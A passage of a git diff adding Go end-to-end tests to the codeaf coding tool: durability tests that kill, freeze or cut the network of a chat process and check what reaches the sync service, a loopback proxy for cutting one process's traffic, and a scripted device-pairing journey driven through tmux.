fmt.Sprintf("%.1f", t.Sub(zero).Seconds()) } + var out []string + for n := 1; n <= s.d.brain.completed(); n++ { + out = append(out, fmt.Sprintf("call%d@%s", n, rel(finishes[n]))) + } + s.watch.mu.Lock() + defer s.watch.mu.Unlock() + for _, h := range s.watch.seen { + out = append(out, "head@"+rel(h.at)) + } + out = append(out, "killed@"+rel(s.killedAt)) + return strings.Join(out, ",") +} + +// logSyncStats prints what A's own flush log says it sent, which is the holder's +// side of the story the relay's head only tells from outside. +func (d *durable) logSyncStats() { + found, _ := filepath.Glob(filepath.Join(d.homeA, "v3", "sync", "stats", "*.jsonl")) + for _, f := range found { + raw, _ := os.ReadFile(f) + d.t.Logf("A's flush log %s:\n%s", filepath.Base(f), raw) + } +} + +// awayFromA moves A's project folder aside until the test ends. +func (d *durable) awayFromA() { + d.t.Helper() + away := d.ws + ".away" + if err := os.Rename(d.ws, away); err != nil { + d.t.Fatal(err) + } + d.t.Cleanup(func() { _ = os.Rename(away, d.ws) }) +} + +// ── failure mode 1: SIGKILL a beat after a call completes ─────────────────── + +var killDelays = []time.Duration{500 * time.Millisecond, 2 * time.Second, 5 * time.Second} + +// burstDelays add a delay past the whole window (five seconds) and the upload that ends it. +var burstDelays = append(append([]time.Duration{}, killDelays...), 9*time.Second) + +// A lone call: nothing else was sealed in the window, so it goes up at once. +func TestDurabilityKillAfterLoneCall(t *testing.T) { + for _, after := range killDelays { + t.Run(after.String(), func(t *testing.T) { + d := newDurable(t, marks(1, 0)...) + s := d.begin("lone", finished(1)) + s.strike(after, sigkill) + s.finish("kill-"+after.String()+"-after-a-lone-call", "") + }) + } +} + +// A burst: three calls 200 ms apart, so the second and third sit in the window +// that the first one's upload opened. Three is the most a chat runs before it +// hands a long turn to a task (a task's calls seal in the task's own copy, which +// is a different seam), so a longer burst would stop measuring the chat. +func TestDurabilityKillAfterBurst(t *testing.T) { + for _, after := range burstDelays { + t.Run(after.String(), func(t *testing.T) { + d := newDurable(t, marks(3, 200*time.Millisecond)...) + s := d.begin("burst", finished(3)) + s.strike(after, sigkill) + s.finish("kill-"+after.String()+"-after-the-third-of-a-burst", "") + }) + } +} + +// The turn's own end: the last call's result and the model's closing words are +// written after the last seal, so they are the first thing a kill takes. +func TestDurabilityKillAfterTurnEnds(t *testing.T) { + for _, after := range killDelays { + t.Run(after.String(), func(t *testing.T) { + d := newDurable(t, brainStep{cmd: mark(1)}, brainStep{}) + s := d.begin("turnend", began(1)) + s.strike(after, sigkill) + s.finish("kill-"+after.String()+"-after-the-turn-ended", "") + }) + } +} + +// A lone call in a chat the relay already knows: the first call has long been +// durable and its window closed, so this is the incremental case, the one the +// "durable in a fraction of a second" claim is about. The first call of a chat +// is heavier (it creates the chat's record and sends the whole tree), so it is +// timed apart, in TestDurabilityKillAfterLoneCall. +func TestDurabilityKillAfterLaterLoneCall(t *testing.T) { + for _, after := range killDelays { + t.Run(after.String(), func(t *testing.T) { + script := []brainStep{{cmd: mark(1)}, {wait: 9 * time.Second, cmd: mark(2)}, {wait: forever}} + d := newDurable(t, script...) + s := d.begin("later", finished(2)) + s.strike(after, sigkill) + s.finish("kill-"+after.String()+"-after-a-later-lone-call", "") + }) + } +} + +// ── failure mode 2: SIGKILL during a tool call ────────────────────────────── + +// The third call is a long one and is killed three seconds into it. It is +// in flight, so it may be lost; the two completed before it may not be. The +// tight run starts it a moment after the second finished; the settled run +// waits for the upload window to have closed first. +func TestDurabilityKillDuringCall(t *testing.T) { + slow := "sleep 30; echo MARK-3 > m3.txt && echo MARK-3" + for name, gap := range map[string]time.Duration{"tight": 200 * time.Millisecond, "settled": 9 * time.Second} { + t.Run(name, func(t *testing.T) { + script := []brainStep{{cmd: mark(1)}, {wait: time.Second, cmd: mark(2)}, {wait: gap, cmd: slow}, {wait: forever}} + d := newDurable(t, script...) + s := d.begin("during", began(2)) + s.strike(3*time.Second, sigkill) + s.finish("kill-during-the-third-call-"+name, "inFlight=3") + }) + } +} + +// ── failure mode 3: the network is cut right after a call, then the holder dies ─ + +// localHead is the head A has sealed on its own disk, read from the chat folder. +func (d *durable) localHead() string { + d.t.Helper() + root := d.chatRoot() + c, err := cell.OpenAt(root, filepath.Base(root)) + if err != nil { + d.t.Fatal(err) + } + h, err := cellstore.Head(c) + if err != nil || h == nil { + d.t.Fatalf("no sealed head at %s: %v", root, err) + } + return h.Turn.ID +} + +// restartA opens the same chat again on A's own home and folder, with a model +// that has nothing to say, and the network as it is now. +func (d *durable) restartA(name string) { + d.t.Helper() + d.brain = newBrain(d.t) + var transcript string + for path := range sessionTranscripts(d.t, d.homeA) { + transcript = path + } + d.startA(name, "--session", transcript) +} + +// waitHead waits until the relay's head for the chat is head, and says how long it took. +func (d *durable) waitHead(b *machineB, id, head string, within time.Duration) (time.Duration, bool) { + begun := time.Now() + for time.Since(begun) < within { + if v, err := b.sync.Dir.Cell(context.Background(), id); err == nil && v.Cell.Head == head { + return time.Since(begun).Round(100 * time.Millisecond), true + } + time.Sleep(200 * time.Millisecond) + } + return 0, false +} + +// The network is cut the moment the third call finishes, the holder is killed a +// second later with its sealed work still on its own disk, and the network comes +// back. The same chat is opened again on the same machine, and what was pending +// must reach the relay without anyone asking; only then does B take over. +func TestDurabilityNetworkCutThenKill(t *testing.T) { + d := newDurable(t, marks(3, 200*time.Millisecond)...) + s := d.begin("cut", finished(3)) + completed := d.brain.completed() + d.proxy.Cut() + s.strike(time.Second, sigkill) + sealed := d.localHead() + if v, err := s.b.sync.Dir.Cell(context.Background(), s.id); err == nil && v.Cell.Head == sealed { + t.Fatalf("the premise failed: the relay already held A's newest head before the kill") + } + d.proxy.Restore() + first := d.brain + d.restartA("cut-restart") + took, ok := d.waitHead(s.b, s.id, sealed, 90*time.Second) + if !ok { + t.Fatalf("DURABILITY FAIL mode=network-cut-then-kill completedOnA=%d: the restarted chat never uploaded what was pending:\n%s", completed, d.a.capture()) + } + d.signalA(syscall.SIGKILL) + d.brain = first // the restarted model saw no calls: the count and the clocks are the first run's + s.finish("network-cut-then-kill-then-restart", fmt.Sprintf("uploadedAfterRestart=%v", took)) +} + +// ── failure mode 4: the lid closes, B takes over, the lid opens ───────────── + +// work is one call of B's own on a chat B has taken: it is sealed and published +// through the same drive side the chat uses, so it moves the relay's head. +func (b *machineB) work(c cell.Cell, name string) (head string) { + b.d.t.Helper() + tree := workspaceFolder(c.Root) + eng := b.eng + eng.Workspace = tree + title := func() string { m, _ := session.LoadMeta(c.Root); return m.Title } + drive, err := b.sync.Drive(context.Background(), eng, c, syncsetup.DriveOptions{DeviceName: "machine-b", Title: title}) + if err != nil { + b.d.t.Fatal(err) + } + b.d.t.Cleanup(func() { _ = drive.Close(context.Background()) }) + seat, err := cellstore.SeatOver(executor.HostBound, c, tree, nil, nil, func(cellstore.Engine) cellstore.Store { return drive.Store(eng) }) + if err != nil { + b.d.t.Fatal(err) + } + seat = executor.Gated(seat, drive.Gate) + call := executor.Call{Tool: "bash", Args: []byte(`{"command":"echo"}`)} + err = seat.Around(context.Background(), call, func() ([]byte, bool) { + return nil, os.WriteFile(filepath.Join(tree, name), []byte("work on B\n"), 0o600) != nil + }) + if err != nil { + b.d.t.Fatal(err) + } + drive.Idle() + h, err := cellstore.Head(c) + if err != nil || h == nil { + b.d.t.Fatalf("B sealed no head: %v", err) + } + return h.Turn.ID +} + +// branchesOf lists the cells the relay holds as branches of chat id. +func (b *machineB) branchesOf(id string) []string { + l, err := b.sync.Dir.List(context.Background()) + if err != nil { + return nil + } + var out []string + for cid, c := range l.Cells { + if c.ParentCell == id { + out = append(out, cid) + } + } + return out +} + +// leaseHeld reads whether the relay still shows A's lease as held, the way the +// chat list does: stored expiry later than the relay's own clock. +func (b *machineB) leaseHeld(id string) (held bool, left time.Duration, ok bool) { + v, err := b.sync.Dir.Cell(context.Background(), id) + if err != nil { + return false, 0, false + } + left = time.Duration(v.Cell.Lease.Expires-v.Now) * time.Millisecond + return left > 0, left, true +} + +// frozenFor is how long the lid stays shut. The lease lapses on its own within +// about ninety seconds; three minutes is well past it. +const frozenFor = 3 * time.Minute + +// A is frozen (SIGSTOP: no thread runs, every socket goes silent, as with a +// closed lid) the instant a second call completed on it: the call sits in the +// window the first one's upload opened, so it cannot have been uploaded. B takes the chat over three minutes later and does work of its +// own. Then A wakes (SIGCONT). A must not overwrite B, and the call A completed +// and never uploaded must come out as a kept branch, not vanish. +func TestDurabilityLidClose(t *testing.T) { + d := newDurable(t, brainStep{cmd: mark(1)}, brainStep{wait: 3 * time.Second, cmd: mark(2)}, brainStep{wait: forever}) + d.launcher = freezable + s := d.begin("lid", finished(2)) + pid := d.pidA() + t.Cleanup(func() { reapHolder(pid) }) + s.strike(0, func(s *holdRun) { s.d.signalA(syscall.SIGSTOP) }) + frozen := time.Now() + for i := 0; i < 3; i++ { + time.Sleep(300 * time.Millisecond) + t.Logf("right after SIGSTOP +%dms: %s", (i+1)*300, d.holderState()) + } + sealed := d.localHead() + if v, err := s.b.sync.Dir.Cell(context.Background(), s.id); err != nil || v.Cell.Head == sealed { + t.Fatalf("the premise failed: the relay already held A's newest head (%v)", err) + } + lapsedAfter := d.watchLeaseLapse(s, frozen) + time.Sleep(time.Until(frozen.Add(frozenFor))) + + d.awayFromA() + got, err := s.b.take(s.id) + if err != nil { + t.Fatalf("DURABILITY FAIL mode=lid-close: B could not take the chat: %v", err) + } + bHead := s.b.work(got, "b1.txt") + if _, ok := d.waitHead(s.b, s.id, bHead, 30*time.Second); !ok { + t.Fatalf("B's own work never became the relay's head") + } + + _ = syscall.Kill(pid, syscall.SIGCONT) + woke := time.Now() + kept := d.waitBranch(s.b, s.id, 120*time.Second) + v, _ := s.b.sync.Dir.Cell(context.Background(), s.id) + overwritten := v.Cell.Head != bHead + t.Logf("A after waking:\n%s", d.a.capture()) + + branchCalls := "none" + if kept != "" { + branch, err := s.b.take(kept) + if err != nil { + t.Fatalf("B could not read the kept branch %s: %v", kept, err) + } + results, files := callsIn(branch.Root) + branchCalls = fmt.Sprintf("effects=%s records=%s", sorted(files), sorted(results)) + if !files[2] { + t.Errorf("the kept branch lacks call 2's work") + } + } + status := "PASS" + if overwritten || kept == "" { + status = "FAIL" + t.Fail() + } + results, files := callsIn(got.Root) + t.Logf("DURABILITY %s mode=lid-close completedOnA=2 effectsOnB=%s recordsOnB=%s (B took the chat; call 2 was never uploaded) "+ + "leaseLapsedAfter=%v frozen=%v relayHeadOverwrittenByA=%v keptBranch=%v branchHolds{%s} supersededAfterWake=%v", + status, sorted(files), sorted(results), lapsedAfter, frozenFor, overwritten, kept != "", branchCalls, time.Since(woke).Round(time.Second)) +} + +// reapHolder ends the chat process that ran under [freezable] and waits until +// it is gone. The rig's own cleanup waits only for the pane's launcher, which +// leaves at the hangup while the chat, a child of it, is still writing its +// final files into a home that testing is about to remove. A stopped process +// cannot act on a signal, so it is resumed first. The pid is the one pidA +// checked to be the binary under test, never a pattern match. +func reapHolder(pid int) { + _ = syscall.Kill(pid, syscall.SIGCONT) + _ = syscall.Kill(pid, syscall.SIGTERM) + for _, wait := range []time.Duration{10 * time.Second, 5 * time.Second} { + for deadline := time.Now().Add(wait); time.Now().Before(deadline); time.Sleep(20 * time.Millisecond) { + if terminalProcessExited(pid) { + return + } + } + _ = syscall.Kill(pid, syscall.SIGKILL) + } +} + +// watchLeaseLapse polls the relay while A is frozen and answers how long after +// the freeze the lease first read as not held, or 0 when it never did. +func (d *durable) watchLeaseLapse(s *holdRun, frozen time.Time) time.Duration { + var lapsed time.Duration + for time.Since(frozen) < frozenFor-5*time.Second { + held, left, ok := s.b.leaseHeld(s.id) + d.t.Logf("lease at +%v: held=%v expiresIn=%v read=%v; holder process: %s", time.Since(frozen).Round(time.Second), held, left.Round(time.Second), ok, d.holderState()) + if ok && !held && lapsed == 0 { + lapsed = time.Since(frozen).Round(time.Second) + } + touchAlive(d.t) + time.Sleep(5 * time.Second) + } + return lapsed +} + +// holderState is the state letter of A's process and the processes under it, +// read from the kernel: T is stopped, S is asleep, R is running. +func (d *durable) holderState() string { + pid := d.pidA() + out := []string{fmt.Sprintf("%d:%s", pid, procState(pid))} + kids, _ := os.ReadFile(fmt.Sprintf("/proc/%d/task/%d/children", pid, pid)) + for _, k := range strings.Fields(string(kids)) { + n, _ := strconv.Atoi(k) + out = append(out, fmt.Sprintf("%d:%s", n, procState(n))) + } + return strings.Join(out, " ") +} + +func procState(pid int) string { + raw, _ := os.ReadFile(fmt.Sprintf("/proc/%d/stat", pid)) + if end := strings.LastIndexByte(string(raw), ')'); end >= 0 && len(raw) > end+2 { + return string(raw[end+2]) + } + return "?" +} + +// waitBranch waits until the relay lists a branch of chat id, and answers its id. +func (d *durable) waitBranch(b *machineB, id string, within time.Duration) string { + for deadline := time.Now().Add(within); time.Now().Before(deadline); time.Sleep(time.Second) { + if found := b.branchesOf(id); len(found) > 0 { + return found[0] + } + } + return "" +} + +// touchAlive tells the orchestrator watching the worktree that a long wait is a wait. +func touchAlive(t *testing.T) { + root := repoRoot(t) + _ = os.MkdirAll(filepath.Join(root, ".lane"), 0o755) + _ = os.WriteFile(filepath.Join(root, ".lane", "alive"), []byte(time.Now().Format(time.RFC3339)), 0o644) +} + +// The first call of a brand-new chat is the slowest to become durable (it +// creates the chat's record and sends the whole tree), so a kill half a second +// after it is the hardest case. This runs it ten times and states the rate, as +// work present, work and record present, and nothing at all (the relay had no +// record of the chat, so B could not take it). +func TestDurabilityFirstCallKillRate(t *testing.T) { + const tries = 10 + var work, both, nothing int + for i := 0; i < tries; i++ { + t.Run(fmt.Sprint(i), func(t *testing.T) { + d := newDurable(t, marks(1, 0)...) + s := d.begin("first", finished(1)) + s.strike(500*time.Millisecond, sigkill) + d.awayFromA() + got, err := s.b.take(s.id) + if err != nil { + nothing++ + return + } + results, files := callsIn(got.Root) + if files[1] { + work++ + } + if files[1] && results[1] { + both++ + } + }) + } + t.Logf("DURABILITY RATE mode=first-call-of-a-new-chat-kill-500ms tries=%d workPresent=%d workAndRecordPresent=%d chatNotOnRelay=%d", tries, work, both, nothing) +} diff --git a/internal/e2e/durability_proxy_test.go b/internal/e2e/durability_proxy_test.go new file mode 100644 index 0000000000..b04db4e366 --- /dev/null +++ b/internal/e2e/durability_proxy_test.go @@ -0,0 +1,106 @@ +//go:build e2e + +package e2e + +// A NETWORK THAT CAN BE CUT FOR ONE PROCESS AND NO OTHER. +// +// The chat under test is started with this proxy as its HTTPS proxy, so every +// byte it sends to the relay goes through here, and cutting is one switch that +// refuses new tunnels and drops the open ones. No firewall rule, no change to a +// neighbour's network: the cut reaches exactly the process that was told to +// use the proxy. The model's endpoint is on loopback, which Go never proxies, +// so the scripted model stays reachable through a cut. + +import ( + "io" + "net" + "net/http" + "sync" + "testing" +) + +type cutProxy struct { + ln net.Listener + mu sync.Mutex + cut bool + open map[net.Conn]struct{} +} + +func newCutProxy(t *testing.T) *cutProxy { + t.Helper() + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + p := &cutProxy{ln: ln, open: map[net.Conn]struct{}{}} + srv := &http.Server{Handler: http.HandlerFunc(p.serve)} + go func() { _ = srv.Serve(ln) }() + t.Cleanup(func() { _ = srv.Close(); p.Restore() }) + return p +} + +func (p *cutProxy) url() string { return "http://" + p.ln.Addr().String() } + +// Cut refuses new tunnels and drops every open one. +func (p *cutProxy) Cut() { + p.mu.Lock() + defer p.mu.Unlock() + p.cut = true + for c := range p.open { + _ = c.Close() + } +} + +// Restore lets tunnels through again. +func (p *cutProxy) Restore() { + p.mu.Lock() + p.cut = false + p.mu.Unlock() +} + +// track keeps c so a cut can drop it, and answers false when the network is cut. +func (p *cutProxy) track(c net.Conn) bool { + p.mu.Lock() + defer p.mu.Unlock() + if p.cut { + return false + } + p.open[c] = struct{}{} + return true +} + +func (p *cutProxy) forget(c net.Conn) { + p.mu.Lock() + delete(p.open, c) + p.mu.Unlock() + _ = c.Close() +} + +// serve is a CONNECT tunnel: the only thing an https client asks of a proxy. +func (p *cutProxy) serve(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodConnect { + http.Error(w, "connect only", http.StatusMethodNotAllowed) + return + } + far, err := net.Dial("tcp", r.Host) + if err != nil || !p.track(far) { + if far != nil { + _ = far.Close() + } + http.Error(w, "network cut", http.StatusBadGateway) + return + } + hj, ok := w.(http.Hijacker) + if !ok { + p.forget(far) + return + } + near, _, err := hj.Hijack() + if err != nil || !p.track(near) { + p.forget(far) + return + } + _, _ = near.Write([]byte("HTTP/1.1 200 Connection Established\r\n\r\n")) + go func() { _, _ = io.Copy(far, near); p.forget(far); p.forget(near) }() + go func() { _, _ = io.Copy(near, far); p.forget(far); p.forget(near) }() +} diff --git a/internal/e2e/freshstart_e2e_test.go b/internal/e2e/freshstart_e2e_test.go new file mode 100644 index 0000000000..385eb8d72f --- /dev/null +++ b/internal/e2e/freshstart_e2e_test.go @@ -0,0 +1,49 @@ +//go:build e2e + +package e2e + +import ( + "os/exec" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/config" + "github.com/Agent-Field/codeaf/internal/identity" +) + +// A FRESH INSTALL THAT WAS ONLY STARTED. The person ran codeaf, looked at the +// start screen and quit: nothing they made is on the computer, so it can still +// join another computer's chats. The first half of the test is that fact read +// off the real binary's own files; the second is that a pair link typed at the +// start screen goes to the approve screen and not to a model. +func TestFreshStartIsPristineAndAPairLinkIsNotAChatMessage(t *testing.T) { + if _, err := exec.LookPath("tmux"); err != nil { + t.Skip("no tmux on PATH: this suite drives the real binary in a real terminal") + } + env := []string{config.APIKeyEnv + "=not-a-real-key", "CODEAF_CELLS=1", "CODEAF_SYNC_URL=" + startRelay(t), "CODEAF_TELEMETRY=off"} + home := emptyHome(t) + ws := newWorkspace(t, "fresh", false) + r := startWithEnv(t, env, "fresh", home, ws, 120, 40) + r.skipSetup(t) + + r.paste("https://codeaf.agentfield.ai/p/k7m2q9xd#Qm9v") + r.keys("Enter") + // Whichever way the answer goes (a request to approve, one that ran out, or + // no way to approve here) it is a pairing answer; a model's turn is not. + var screen string + for _, answer := range []string{"wants to pair", "request has run out", "pairing is not available"} { + if got, ok := waitPlain(r, 5*time.Second, answer); ok { + screen = got + break + } + } + if screen == "" { + t.Fatalf("the link got no pairing answer:\n%s", plain(r)) + } + r.keys("Escape") + r.quit() + + if ok, err := identity.Pristine(home); err != nil || !ok { + t.Fatalf("a computer that was only started is not pristine: %v %v", ok, err) + } +} diff --git a/internal/e2e/pairjourney_e2e_test.go b/internal/e2e/pairjourney_e2e_test.go new file mode 100644 index 0000000000..b644c7a4de --- /dev/null +++ b/internal/e2e/pairjourney_e2e_test.go @@ -0,0 +1,278 @@ +//go:build e2e + +package e2e + +// THE PAIRING JOURNEY, DRIVEN AS A PERSON WOULD DRIVE IT. +// +// Two separate state roots, one local sync service, the real binary in tmux, +// keystrokes only, and a read of the screen (capture-pane -e) after every step. +// A step that the product fails is written down with the screen that showed it +// and the journey goes on where it still can; nothing here papers over a miss. +// The per-step times and the verdicts are written to $UX_EVIDENCE (default +// ~/ux-evidence/e2e-run.json), outside the repository. + +import ( + "context" + "encoding/json" + "fmt" + "net" + "os" + "os/exec" + "path/filepath" + "regexp" + "strconv" + "strings" + "syscall" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/config" +) + +// journeyBudget is the whole journey's time limit: install to takeover. +const journeyBudget = 2 * time.Minute + +// forbidden are the words the vocabulary law keeps off every screen of the flow. +var forbidden = regexp.MustCompile(`(?i)\b(node|relay|take|lease|manifest)s?\b`) + +var escSeq = regexp.MustCompile(`\x1b\[[0-9;:?<>]*[ -/]*[@-~]|\x1b[()][A-Z0-9]|\x1b\][^\a]*\a`) + +// stepRecord is one line of the evidence file. +type stepRecord struct { + Name string `json:"name"` + Status string `json:"status"` // pass | fail | blocked + Millis int64 `json:"ms"` + Notes []string `json:"notes,omitempty"` + Screen string `json:"screen,omitempty"` +} + +type journey struct { + t *testing.T + began time.Time + steps []stepRecord + outDir string + dead bool // a step the rest depends on failed + relay string + key string + current *stepRecord + stopped time.Duration +} + +// check records a verdict on the current step without stopping the journey. +func (j *journey) check(ok bool, format string, args ...any) bool { + if !ok { + j.current.Status = "fail" + j.current.Notes = append(j.current.Notes, "FAIL: "+fmt.Sprintf(format, args...)) + } + return ok +} + +// require is check for a fact the later steps stand on: when it fails they are +// reported as blocked rather than run against a screen that cannot answer them. +func (j *journey) require(ok bool, format string, args ...any) bool { + if !j.check(ok, format, args...) { + j.dead = true + } + return ok +} + +// see keeps the screen the step ended on, as plain text and with its colours, +// and holds it to the vocabulary law. +func (j *journey) see(r *rig) string { + raw := captureStyled(r) + plain := escSeq.ReplaceAllString(raw, "") + _ = os.WriteFile(filepath.Join(j.outDir, fmt.Sprintf("%02d-%s.ansi", len(j.steps)+1, slug(j.current.Name))), []byte(raw), 0o644) + j.current.Screen = strings.TrimRight(plain, " \n") + if bad := forbidden.FindString(plain); bad != "" { + j.check(false, "the screen says %q, which the vocabulary law keeps out", bad) + } + return plain +} + +// step runs fn and times it. After a failed step marked fatal the rest are blocked. +func (j *journey) step(name string, needsPrevious bool, fn func()) { + rec := stepRecord{Name: name, Status: "pass"} + j.current = &rec + if j.dead && needsPrevious { + rec.Status = "blocked" + rec.Notes = []string{"an earlier step failed, so this one could not be reached"} + j.steps = append(j.steps, rec) + return + } + began := time.Now() + fn() + rec.Millis = time.Since(began).Milliseconds() + j.steps = append(j.steps, rec) +} + +func slug(s string) string { + return strings.Trim(regexp.MustCompile(`[^a-z0-9]+`).ReplaceAllString(strings.ToLower(s), "-"), "-") +} + +func captureStyled(r *rig) string { + out, err := exec.Command("tmux", "capture-pane", "-e", "-J", "-p", "-S", "-", "-t", r.name).Output() + if err != nil { + return "" + } + return string(out) +} + +// plain is the screen without colours, wrapped lines joined. +func plain(r *rig) string { return escSeq.ReplaceAllString(captureStyled(r), "") } + +func waitPlain(r *rig, within time.Duration, want ...string) (string, bool) { + deadline := time.Now().Add(within) + for { + screen := plain(r) + all := true + for _, w := range want { + all = all && strings.Contains(screen, w) + } + if all { + return screen, true + } + if time.Now().After(deadline) { + return screen, false + } + time.Sleep(pollEvery) + } +} + +// startRelay runs the local sync service this repository ships and returns its address. +func startRelay(t *testing.T) string { + t.Helper() + bin := filepath.Join(t.TempDir(), "relay") + build := exec.Command("go", "build", "-o", bin, "./cmd/relay") + build.Dir = repoRoot(t) + if out, err := build.CombinedOutput(); err != nil { + t.Fatalf("build the sync service: %v\n%s", err, out) + } + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + addr := ln.Addr().String() + _ = ln.Close() + cmd := guardedCommand(t, context.Background(), t.TempDir(), nil, bin, "--listen", addr, "--store", filepath.Join(t.TempDir(), "store"), "--quiet") + if err := cmd.Start(); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = cmd.Process.Kill(); _, _ = cmd.Process.Wait() }) + for deadline := time.Now().Add(10 * time.Second); time.Now().Before(deadline); time.Sleep(100 * time.Millisecond) { + if c, err := net.Dial("tcp", addr); err == nil { + _ = c.Close() + return "http://" + addr + } + } + t.Fatal("the sync service never listened") + return "" +} + +// startCommand opens a terminal on one command of the binary (not the chat). +func startCommand(t *testing.T, env []string, name, home, ws string, args ...string) *rig { + t.Helper() + return startWithEnv(t, env, name, home, ws, 120, 40, args...) +} + +// paste sends text the way a terminal pastes it: one bracketed paste. +func (r *rig) paste(text string) { + r.t.Helper() + buf := "ux-" + r.name + if out, err := exec.Command("tmux", "set-buffer", "-b", buf, text).CombinedOutput(); err != nil { + r.t.Fatalf("tmux set-buffer: %v\n%s", err, out) + } + if out, err := exec.Command("tmux", "paste-buffer", "-p", "-d", "-b", buf, "-t", r.name).CombinedOutput(); err != nil { + r.t.Fatalf("tmux paste-buffer: %v\n%s", err, out) + } + time.Sleep(300 * time.Millisecond) +} + +var linkShape = regexp.MustCompile(`https://codeaf\.agentfield\.ai/p/\S+`) + +func TestPairJourney(t *testing.T) { + key := requireTmuxAndKey(t) + out := os.Getenv("UX_EVIDENCE") + if out == "" { + out = filepath.Join(os.Getenv("HOME"), "ux-evidence") + } + if err := os.MkdirAll(filepath.Join(out, "screens"), 0o755); err != nil { + t.Fatal(err) + } + j := &journey{t: t, began: time.Now(), outDir: filepath.Join(out, "screens"), key: key} + defer j.write(filepath.Join(out, "e2e-run.json")) + + j.relay = startRelay(t) + env := []string{config.APIKeyEnv + "=" + key, "CODEAF_SYNC_URL=" + j.relay, "CODEAF_SYNC_INTERVAL_MS=1000"} + homeA, homeB := newHome(t, nil), newHome(t, nil) + wsA := newWorkspace(t, "proj", true) + wsB := newWorkspace(t, "proj", true) + if err := os.WriteFile(filepath.Join(wsB, "Makefile"), []byte("test:\n\t@echo 3 passed\n"), 0o644); err != nil { + t.Fatal(err) + } + journeyRun(j, env, homeA, homeB, wsA, wsB) +} + +// freeze fixes the journey's length; probes that follow are not part of it. +func (j *journey) freeze() { j.stopped = time.Since(j.began) } + +func (j *journey) write(path string) { + total := j.stopped + if total == 0 { + total = time.Since(j.began) + } + doc := map[string]any{ + "model": e2eModel, + "total_ms": total.Milliseconds(), + "budget_ms": journeyBudget.Milliseconds(), + "under_budget": total < journeyBudget, + "steps": j.steps, + "note": "step 0 is a probe run after the timed journey", + } + raw, _ := json.MarshalIndent(doc, "", " ") + _ = os.WriteFile(path, raw, 0o644) + for _, s := range j.steps { + j.t.Logf("%-9s %6dms %s", strings.ToUpper(s.Status), s.Millis, s.Name) + for _, n := range s.Notes { + j.t.Logf(" %s", n) + } + } + j.t.Logf("whole journey: %s (budget %s)", total.Round(time.Millisecond), journeyBudget) +} + +// loseLid ends the machine the way a closed lid does: no goodbye, nothing +// released, and nothing left running. The pid is the pane's own, read from +// tmux; the engine that held the chat is a separate process that outlives the +// window, and a lid takes it too, so it is ended with the window. Left alive it +// keeps the device online, and a device that is online and busy is rightly not +// offered as a rescue. +func (r *rig) loseLid() { + r.t.Helper() + raw, _ := exec.Command("tmux", "display-message", "-p", "-t", r.name, "#{pane_pid}").Output() + pid, _ := strconv.Atoi(strings.TrimSpace(string(raw))) + if pid > 0 { + _ = syscall.Kill(pid, syscall.SIGKILL) + } + r.kill() + for _, daemon := range engineDaemonsOf(r.ws) { + _ = syscall.Kill(daemon, syscall.SIGKILL) + } +} + +// engineDaemonsOf lists the pids of the engine daemons serving one workspace, +// read from the process table by their own command line, never by pattern. +func engineDaemonsOf(ws string) []int { + want := "engine\x00--daemon\x00--workspace\x00" + ws + "\x00" + entries, _ := os.ReadDir("/proc") + var pids []int + for _, e := range entries { + pid, err := strconv.Atoi(e.Name()) + if err != nil { + continue + } + cmd, err := os.ReadFile(filepath.Join("/proc", e.Name(), "cmdline")) + if err == nil && strings.Contains(string(cmd), want) { + pids = append(pids, pid) + } + } + return pids +} diff --git a/internal/e2e/pairjourney_steps_e2e_test.go b/internal/e2e/pairjourney_steps_e2e_test.go new file mode 100644 index 0000000000..b514e83fbf --- /dev/null +++ b/internal/e2e/pairjourney_steps_e2e_test.go @@ -0,0 +1,249 @@ +//go:build e2e + +package e2e + +import ( + "context" + "os" + "regexp" + "slices" + "strings" + "time" +) + +// journeyRun walks the steps in the order a person meets them. +func journeyRun(j *journey, env []string, homeA, homeB, wsA, wsB string) { + t := j.t + var a, b *rig + var link string + + j.step("A has used sync before (identity exists)", false, func() { + setup := startCommand(t, env, "a-setup", homeA, wsA, "pair", "--code") + _, ok := waitPlain(setup, 15*time.Second, "codeaf pair") + j.check(ok, "pair --code never showed a code") + j.see(setup) + setup.kill() + }) + + j.step("1 card: Add another device on A's home", true, func() { + a = startWithEnv(t, env, "a", homeA, wsA, 180, 45) + a.skipSetup(t) + a.keys("Space") + a.keys("Space") + screen, ok := waitPlain(a, 12*time.Second, "Add another device") + j.check(ok, "the home screen never offered another machine") + j.check(strings.Contains(screen, "pick up your work anywhere"), "pitch missing") + j.see(a) + }) + + j.step("2 B: codeaf pair prints link and waits", true, func() { + b = startCommand(t, env, "b", homeB, wsB, "pair") + screen, ok := waitPlain(b, 15*time.Second, "codeaf.agentfield.ai/p/", "Check number") + j.require(ok, "B never printed a link and a check number") + link = linkShape.FindString(screen) + j.check(link != "", "no link on B's screen") + j.check(strings.Contains(screen, "Waiting for approval"), "B does not say it is waiting") + j.see(b) + }) + + j.step("3a A: paste the link into the card", true, func() { + a.keys("M-d") + _, ok := waitPlain(a, 5*time.Second, "Paste it here") + j.check(ok, "the card did not open its steps") + a.paste(link) + screen, ok := waitPlain(a, 6*time.Second, "wants to pair") + j.check(ok, "pasting the link into the card showed no approve screen") + j.see(a) + if !ok { + // A person gives up on the card and types the command the card's + // own link opens; the card's miss is already written down. + a.keys("Escape") + a.lit("/pair " + link) + a.keys("Enter") + } + _ = screen + }) + + var check string + j.step("3b A: approve screen names the device", true, func() { + screen, ok := waitPlain(a, 12*time.Second, "wants to pair") + j.require(ok, "no approve screen") + j.see(a) + m := regexp.MustCompile(`Check number (\d{4})`).FindStringSubmatch(screen) + j.check(m != nil, "approve screen has no check number") + if m != nil { + check = m[1] + } + bScreen := plain(b) + j.check(check != "" && strings.Contains(bScreen, "Check number: "+check), "the check number on A (%s) is not the one B shows", check) + j.check(strings.Contains(screen, "Linux"), "no platform on the approve screen") + j.check(regexp.MustCompile(`asked .*(ago|now)`).MatchString(screen), "no request time on the approve screen") + j.check(strings.Contains(screen, "a approve"), "no approve key offered") + j.check(!strings.Contains(screen, "now ago"), "the request time reads %q", "asked now ago") + }) + + j.step("3c A approves; B prints Paired", true, func() { + a.keys("a") + screen, ok := waitPlain(b, 20*time.Second, "Paired") + j.require(ok, "B never printed Paired") + 